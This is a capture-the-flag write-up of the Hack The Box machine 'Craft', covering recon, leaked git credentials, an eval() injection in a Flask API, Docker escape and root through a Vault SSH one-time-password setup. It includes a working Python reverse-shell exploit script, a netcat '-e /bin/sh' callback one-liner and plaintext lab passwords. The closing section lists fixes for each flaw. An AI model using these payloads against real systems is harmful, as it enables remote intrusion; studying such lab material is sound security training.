Craft Logo

Date: 1/2/2020
Author: n0tAc0p

Table of Contents

  1. Recon and Enumeration
    1. API
    2. GOGS
    3. Directories
  2. Initial Threat Model
  3. Initial Foothold
    1. Initial Reverse Shell
    2. Docker
  4. Getting User
  5. Privilege Escalation
  6. Conclusion
  7. References

Recon and Enumeration

This was the first box I used masscan to make initial port scanning magnitudes faster. If you are unfamiliar with the tool, it is a quick and dirty way to enumerate all ports on a system, within a few minutes. Read here for more details ([1]). The scan found open TCP ports 22, 443, and 6022. Digging into more detail with nmap:

Detailed TCP Scan

So, we have:

  • 22: SSH
  • 443: HTTPS Nginx Server
  • 6022: ?

We will forget about port 6022 for now and focus on the HTTPS server. Navigating to it in our browser, we get a certificate warning. For now, we proceed anyways. We are greeted with a home page to some service called “Craft”.

Craft Homepage

We can click on the buttons on the top right, but we get the error that api.craft.htb and gogs.craft.htb are unresolvable. As we learned from the box Mango, these are virtual hosts. Adding entries to our /etc/host file with these virtual hosts allows us to proceed as normal.

Etc Hosts File

API

The API link leads us to some documentation about a custom-built REST API that stores data about beers (IPAs to be more specific). The documentation is auto generated by Swagger, a tool that is used in conjunction with REST Plus ([2]). REST Plus is a library that adds additional functionality to an already powerful flask library, used for hosting APIs and websites in python.

API Documentation

For the most part, the documentation was helpful to learn the syntax needed to interact with the API, but not much besides that.

GOGS

GOGs is “a painless self-hosted git service” per its homepage ([3]). Think of it as a private GitHub. Instead of hosting repos on github.com, they can be hosted on a private instance of GOGs. Then they can be cloned to a local machine and used nearly the same way as you would for a repository hosted on GitHub.

GOGS Homepage

If we go to the explore tab, we find a single repository, called Craft.

Craft Repository Overview

This repository holds all the python code for the API that the site has documentation for (seen earlier). A few things stick out while looking through the repository and GOGs:

1.) If we go to explore/users we find ebachman, gilfoyle, dinesh, and administrator. I have not seen Silicon Valley, but I understand this reference 😊. These may be helpful later.

GOGS Users

2.) If we look through the old commits, we find a commit with the comment “add test script”. Looking at this commit, we see that dinesh left his password in an API call. This should allow us to authenticate with dinesh and make requests that require authentication. Which is any request where we wish to push data to the API.

Dinesh Creds

3.) Looking into the “Issues” section of the repository, we find that a few months ago a bug was fixed that allowed a user to enter any value for the alcohol level in a beer. A fix was pushed to validate user input, but if we look at the commit, we find some very suspicious code.

Vulnerable Code

The value being passed to the python eval function is completely unsanitized, except that it must be a string. While this fixed the bug in question, it introduces possible Remote Code Execution, which we will exploit later.

Directories

We ran GoBuster on craft.htb, gogs.craft.htb and api.craft.htb and found nothing of use (we used dirb’s common.txt, and 2.3-small).

Initial Threat Model

Based on enumeration, our threat model looks something like this:

  1. Use login credentials for dinesh to become authenticated
  2. Get a reverse shell by making a POST request to leverage the vulnerable eval() method
  3. Go from there based on privileges of the shell we get

Initial Foothold

Initial Reverse Shell

We can get a reverse shell using the code below. It relies on using eval to evaluate an exec() expression. exec() evaluates sets of statements, while eval() evaluates a single expression inside “”.

exploit.py

# This file aims to inject a reverse shell into a python eval command
# Authenticated RCE

import sys
import json
import requests

if len(sys.argv) < 3:
	print("Usage: python exploit.py <local ip> <local port>")
	exit(0)


ip = sys.argv[1]
port = int(sys.argv[2])

# From https://stackoverflow.com/questions/27981545/suppress-insecurerequestwarning-unverified-https-request-is-being-made-in-pytho
requests.packages.urllib3.disable_warnings()

# Get auth token
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
token = json.loads(response.text)["token"]

# Create custom header with token
header = {'X-Craft-Api-Token': token, 'Content-Type': 'application/json', 'accept': 'application/json'}

# Reverse shell payload to listener on 9001
payload = "exec('''import socket,subprocess,os;s=socket.socket
    (socket.AF_INET,socket.SOCK_STREAM);s.connect(('{}', {}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);''')".format(ip, port)
brew = {"brewer": "Brew INC.", "name": "Happy Brew", "style": "Best Brew", "abv": "{}".format(payload)}
response = requests.post('https://api.craft.htb/api/brew/',  headers=header, data=json.dumps(brew), verify=False)
# print(response.text)

We make sure we have a netcat listener on port 9001 and run the exploit. We now have a reverse shell. But for some reason (flask related), every request made to the API is echoed on the terminal. As it became difficult to type commands while someone brute forced directories on the server, I used

nc <my ip> <another listener port> -e /bin/sh

(/bin/bash was not on the box) to pop another reverse shell to my local machine. Thankfully this one did not echo every HTTP request to the box. We also upgraded that “dumb” shell to a TTY shell by following Rop Nop TTY Tutorial ([4]).

Docker

Checking who we are, we see we are root. Wait…. What? I wish it was that easy, and the box was over, but alas, it was not. There were no files in the home directory of root, which was strange. Then I noticed the file. dockerenv in the root file directory. I used insights from this Stack Overflow post to check the file /proc/1/cgroup ([5]).

Proc Group File

Based on the contents of the file, it is safe to assume we are inside of a docker container, which is why there are no other home directories on this box. The docker container runs the API. Which means the code that runs the API must be somewhere on the box. We need a way to break out of this container somehow…

/opt/app contains code for the project. We notice there is a file called dbtest.py.

Original DBTest File

This test files seems to work fine without any authentication. So, if we simply adjust it to query the user table, we find some more credentials.

dbtest1.py

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT * FROM user"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:
    connection.close()

Running this script, we get:
[{‘id’: 1, ‘username’: ‘dinesh’, ‘password’: ‘4aUh0A8PbVJxgd’}, {‘id’: 4, ‘username’: ‘ebachman’, ‘password’: ‘llJ77D8QFkLPQB’}, {‘id’: 5, ‘username’: ‘gilfoyle’, ‘password’: ‘ZEU3N8WNM2rh4T’}]

Getting User

These credentials do not work with SSH, but gilfoyle’s credentials work on GOGs. If we sign in as him, we find he has a private repository in addition to the public Craft repository. This private repository contains all the infrastructure code for the project (think Docker, MySQl, backend things, etc.)

Gilfoyle's Private Git Repository

The .ssh folder contains a public and private key for gilfoyle. If we set its permissions to 600 chmod 600 id_rsa, we can ssh into 10.10.10.110 as gilfoyle. The passphrase for the key is the same as his password for GOGs.

User Shell

Privilege Escalation

I would usually start by running linEnum or linPEAS to enumerate the box, but I could not use git, wget or netcat to get either file. Luckily, I found another file in gilfoyle’s private repository (inside /vault).

Secrets.sh

This file references something called vault, which is an open source secret storage tool, useful for storing passwords, API keys, etc. (see the Vault Homepage for more details) ([6]). We assumed this file was ran by either root or gilfoyle at some time. Based on reading here, secrets.sh allows for SSH One Time Pads (passwords) to be created, then creates a type of OTP key that works for the root user ([7]). From there, we issued the following command inside our SSH terminal:

vault write /ssh/creds/root_otp ip=10.10.10.110

Which created an OTP based on the role that was already created for us in the secrets script.

Creating Root OTP Token

We can then use this OTP (the key) to login as root. But remember, this password is only good for a single login. Hence the name “One Time Pad”.

Root User

And that’s root!

Conclusion

Why did these vulnerabilities exist?

  1. Dinesh published a git commit with his credentials
    Fix: Never publish a commit that contains credentials of any kind
  2. The python eval() function was used directly on user input, without proper sanitation
    Fix: Sanitize user input by ensuring the abv value is a float in the range 0.0 < .15 (or a similar range)
  3. Gilfoyle used the same password for his GOGs account as the passphrase for his SSH private key
    Fix: Use unique passwords for different services
  4. Vault was set up to insecurely allow for the creation of root SSH tokens, by a non-root user. I checked this by creating a new role (like what was done in secrets.sh) and creating a new root SSH OTP from that new role. This also allows us to generate a valid OTP for root.

Custom Vault Token Type Creation

Fix: Either do not allow root login via SSH or do not enable SSH login tokens to be created with Vault
Updated Fix: Leaving the ~./vault_token on the box allowed us to do this. The existence of the file means we have authenticated to the backend and we can make requests. To fix the vulnerability, the file must be removed and we must be forced to authenticate to the backend first

Overall, a fantastic box. I was finally able to leverage some tips I learned on previous boxes. This felt like the most realistic box I have done to date. Shoutout to rotarydrone for making it possible. Thanks for reading, on to the next one.

References

  1. Hack the Box Forums: https://forum.hackthebox.eu/discussion/927/quick-port-scan-tip
  2. REST Plus Homepage: https://flask-restplus.readthedocs.io/en/stable
  3. GOGs Homepage: https://gogs.io/
  4. RopNop’s TTY Tutorial: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
  5. Checking for container properties (Stack Overflow): https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker/20010626#20010626
  6. Vault Homepage: https://www.vaultproject.io/
  7. Vault SSH OTP Token Documentaion: https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html